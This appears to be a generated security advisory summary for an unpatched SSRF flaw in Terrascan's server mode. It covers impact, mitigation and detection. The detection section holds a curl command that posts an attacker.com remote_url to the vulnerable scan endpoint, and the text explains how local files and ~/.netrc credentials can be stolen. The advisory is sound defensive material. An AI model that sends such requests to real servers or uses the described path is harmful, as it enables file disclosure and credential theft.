Executive Summary

Terrascan versions 1.18.3 and earlier have a Server-Side Request Forgery (SSRF) vulnerability in the remote directory scan endpoint when running in server mode. An unauthenticated attacker can supply a malicious HTTP URL via the remote_url parameter, which is passed without validation to the hashicorp/go-getter library. This library supports a response header that allows redirection to local file URLs, enabling the attacker to read local files. Additionally, the library reads credentials from the user's ~/.netrc file and sends them to attacker-controlled hosts. This vulnerability affects Terrascan servers bound to all network interfaces without authentication.

Useful 0 Not Useful 0

Compliance Impact

The provided context does not explicitly describe how the CVE-2026-47357 vulnerability affects compliance with common standards and regulations such as GDPR or HIPAA.

Useful 0 Not Useful 0

Mitigation Strategies

Terrascan versions v1.18.3 and prior are vulnerable and no patch will be released since the project was archived in August 2023.

To mitigate this vulnerability, you should stop running Terrascan in server mode, especially if it is bound to 0.0.0.0 with no authentication.

Consider removing or restricting access to the vulnerable endpoint (POST /v1/{iac}/{iacVersion}/{cloud}/remote/dir/scan) that accepts the remote_url parameter.

Implement network-level controls such as firewall rules to block untrusted external access to the Terrascan server.

Since no patch is available, migrating to alternative tools or scanning methods that do not expose this vulnerability is recommended.

Useful 0 Not Useful 0

Impact Analysis

This vulnerability can allow an attacker to read local files on the server running Terrascan, potentially exposing sensitive information. Furthermore, the attacker can obtain credentials stored in the ~/.netrc file and send them to malicious hosts, leading to credential theft. Since the server runs without authentication and listens on all interfaces, it is exposed to remote exploitation.

Useful 0 Not Useful 0

Detection Guidance

This vulnerability affects Terrascan running in server mode (terrascan server) versions v1.18.3 and prior, which bind to 0.0.0.0 with no authentication and accept POST requests to the remote directory scan endpoint.

To detect if your system is vulnerable, you can check if Terrascan server is running and listening on network interfaces without authentication.

You can use network scanning commands to identify if the Terrascan server is exposed:

• Use netstat or ss to check for Terrascan server listening ports (default or configured):
• netstat -tulnp | grep terrascan
• ss -tulnp | grep terrascan

You can also attempt to send a crafted POST request to the vulnerable endpoint to test if the server responds without authentication:

• curl -X POST http://<terrascan-server-ip>:<port>/v1/<iac>/<iacVersion>/<cloud>/remote/dir/scan -d '{"remote_url":"http://attacker.com/malicious","remote_type":"http"}' -H 'Content-Type: application/json' -v

If the server responds and processes the request, it indicates the vulnerability is present.

Note: Since Terrascan was archived and no patch will be released, consider disabling or isolating the server mode to mitigate risk.

Useful 0 Not Useful 0